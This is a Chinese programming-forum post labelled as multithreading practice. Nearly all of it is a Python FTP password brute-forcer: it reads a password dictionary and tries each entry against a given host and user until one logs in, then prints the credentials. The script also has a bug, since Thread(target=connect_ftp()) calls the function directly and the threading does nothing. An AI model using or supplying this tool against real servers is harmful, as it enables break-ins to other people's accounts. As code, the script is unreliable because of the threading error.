鱼C论坛

 找回密码
 立即注册
查看: 3568|回复: 0

[技术交流] 多线程练习

[复制链接]
发表于 2020-10-12 22:02:38 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能^_^

您需要 登录 才可以下载或查看,没有账号?立即注册

x
  1. import ftplib
  2. import queue
  3. from threading import Thread

  4. # 初始化队列
  5. q = queue.Queue()
  6. # FTP端口
  7. port = 21

  8. def connect_ftp():
  9.     global q
  10.     # 从队列中获取密码
  11.     while True:
  12.         password = q.get()
  13.         # 初始化FTP服务器对象
  14.         server = ftplib.FTP()
  15.         print('尝试连接',password)
  16.         try:
  17.             # 尝试连接服务器
  18.             server.connect(host,port,timeout=5)
  19.             server.login(user,password)
  20.         except ftplib.error_perm:
  21.             # 登录失败
  22.             pass
  23.         else:
  24.             print(f'主机{host}ftp的账号{user}密码是{password}')
  25.             # 清楚队列
  26.             with q.mutex:
  27.                 q.queue.clear()
  28.                 q.all_tasks_done.notify_all()
  29.                 q.unfinished_tasks = 0
  30.         finally:
  31.             # 通知队列任务完成
  32.             q.task_done()

  33. if __name__ == '__main__':
  34.     import argparse
  35.     parse = argparse.ArgumentParser(description='破解ftp密码')
  36.     parse.add_argument('host',help='主机名字或者IP地址')
  37.     parse.add_argument('-u','--user',help='ftp用户名')
  38.     parse.add_argument('-p','--pass_list',help='破解字典')
  39.     parse.add_argument('-t','--threads',help='开启线程数量')

  40.     args = parse.parse_args()
  41.     # 主机IP
  42.     host = args.host
  43.     # 用户名
  44.     user = args.user
  45.     # 用户字典
  46.     pass_list = args.pass_list
  47.     # 开启线程数量
  48.     n_threads = int(args.threads)
  49.     # 从字典中获取所有密码
  50.     passwords = open(pass_list).read().split('\n')
  51.     # 将密码添加到队列
  52.     for password in passwords:
  53.         q.put(password)
  54.     for t in range(n_threads):
  55.         # 开启线程
  56.         thread = Thread(target=connect_ftp())
  57.         # 设置为后台线程
  58.         thread.daemon = True
  59.         thread.start()

  60.     # 等待队列为空
  61.     q.join()
复制代码
小甲鱼最新课程 -> https://ilovefishc.com
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|手机版|Archiver|鱼C工作室 ( 粤ICP备18085999号-1 | 粤公网安备 44051102000585号)

GMT+8, 2025-6-28 06:59

Powered by Discuz! X3.4

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表